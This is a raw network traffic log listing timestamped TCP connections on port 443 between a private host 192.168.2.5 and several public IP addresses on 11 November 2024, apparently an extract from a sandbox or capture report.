Nov 11, 2024 21:59:24.218283892 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.218293905 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.218302011 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.218348026 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.220165968 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.220191956 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.220228910 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.220246077 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.220263004 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.220279932 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.221056938 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.221116066 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.233591080 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.233602047 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.233647108 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.233661890 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.233680964 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.233711958 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.233737946 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.233751059 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.234977007 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.234996080 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.235049009 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.235078096 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.235094070 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.235096931 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.235147953 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.235155106 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.235331059 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.236927032 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.236947060 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.237016916 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.237041950 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.237139940 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.237787008 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.237847090 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.240082026 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.240108013 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.240701914 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.240708113 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.241065025 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.241091967 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.241595984 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.241600037 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.257498026 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.258371115 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.258913994 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.258949041 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.259133101 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.259773970 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.259800911 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.259856939 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.260191917 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.260236979 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.260250092 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.260265112 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.260288000 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.261312008 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.261320114 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.261390924 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.261982918 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.262012959 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.262206078 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.262571096 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.262588024 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.262651920 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.264123917 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.264138937 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.264431953 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.264444113 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.265041113 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.265065908 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.265260935 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.265269995 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.265871048 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.265882015 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.266087055 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.266102076 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.266359091 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:24.266367912 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.268698931 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.268703938 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.269336939 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.269340992 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.270687103 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.270703077 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.271301031 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.271322012 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.272053003 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.272066116 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.272507906 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.272512913 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.297749996 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.297775984 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.297852039 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.297875881 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.297898054 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.298774958 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.298799992 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.298860073 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.298860073 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.298872948 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.298901081 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.298930883 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.300280094 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.300296068 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.300376892 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.300383091 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.300930023 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.301254034 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.301271915 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.301318884 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.301321983 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.301335096 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.301374912 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.302237988 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.302254915 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.302292109 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.302295923 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.302306890 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.302321911 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.302345991 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.302349091 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.303260088 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.303282976 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.303319931 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.303323984 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.303350925 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.315685034 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.315707922 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.315797091 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.315826893 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.316240072 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.316262007 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.316293955 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.316313028 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.316339970 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.316354036 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.316395044 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.316728115 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.316744089 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.330548048 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.330641985 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.330696106 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.331130981 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.331397057 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.331440926 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.334036112 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.334069014 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.334084034 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.334089994 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.335602045 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.335627079 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.335644007 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.335649967 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.348824024 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.348870993 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.349021912 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.350696087 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.350716114 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.359215021 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.359291077 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.359380007 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.361213923 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.361274958 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.361479044 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.361711025 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.361773968 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.361952066 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.368225098 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.368225098 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.368253946 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.368264914 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.369050980 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.369079113 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.369657993 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.378947973 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.378978014 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379019022 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379020929 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379049063 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379076004 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379100084 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379344940 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379353046 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379373074 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379381895 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379398108 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379404068 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379421949 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379441023 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379626989 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379635096 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379652977 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379669905 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379682064 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379688025 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.379712105 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.379730940 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.380409002 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.380465031 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.380633116 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.384418011 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.384430885 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.391510963 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.391526937 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.391539097 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.391549110 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.410712957 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.410712957 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.410741091 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.410751104 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.414556026 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.414908886 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.414937019 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.415277958 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.415618896 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.415632963 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.415949106 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.416049957 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.416685104 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.416763067 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.418076038 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.418148041 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.418687105 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.418750048 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.434067011 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.434382915 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.434429884 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.434771061 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.437006950 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.437096119 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.437195063 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.441469908 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.443840027 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.443866968 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.444245100 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.444789886 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.444886923 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.445025921 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.445075989 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.445086002 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.466583014 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.466607094 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.483338118 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.509627104 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.512327909 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.512347937 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.513101101 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.513355017 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.513415098 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.514372110 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.514399052 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.515352964 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.515435934 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.515460014 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.515490055 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.516067982 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.516149044 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.550453901 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.552078962 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.552088976 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.553222895 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.553286076 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.554254055 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.554320097 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.554435968 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.554441929 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.554478884 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.554510117 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.582923889 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.582990885 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.583081961 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.584057093 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.584064007 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.584084034 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.584089994 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.590523005 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.590575933 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.590799093 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.590996981 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.591015100 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.594897032 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.594913960 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.595628023 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.595648050 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.595840931 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.595993042 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.596003056 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.599720955 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.599724054 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.599741936 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.599750996 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:24.599766970 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.602785110 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.602811098 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.602829933 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.602900028 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.602924109 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.602971077 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.609807968 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.609824896 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.609853983 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.609894991 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.609921932 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.609936953 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.651892900 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.651916027 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.651931047 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.651981115 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.652004004 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.652049065 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.662807941 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.662830114 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.662863016 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.662878990 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.662914991 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.684462070 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.684484959 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.684562922 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.684590101 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.686033010 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.686094999 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.686167002 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.686755896 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.686780930 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.690129042 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.690136909 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.690284967 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.690303087 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.690347910 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.690357924 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.690383911 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.690541029 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.690555096 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.690891027 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.691123962 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.691159964 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:24.691266060 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:24.691461086 CET	443	58797	23.57.90.101	192.168.2.5
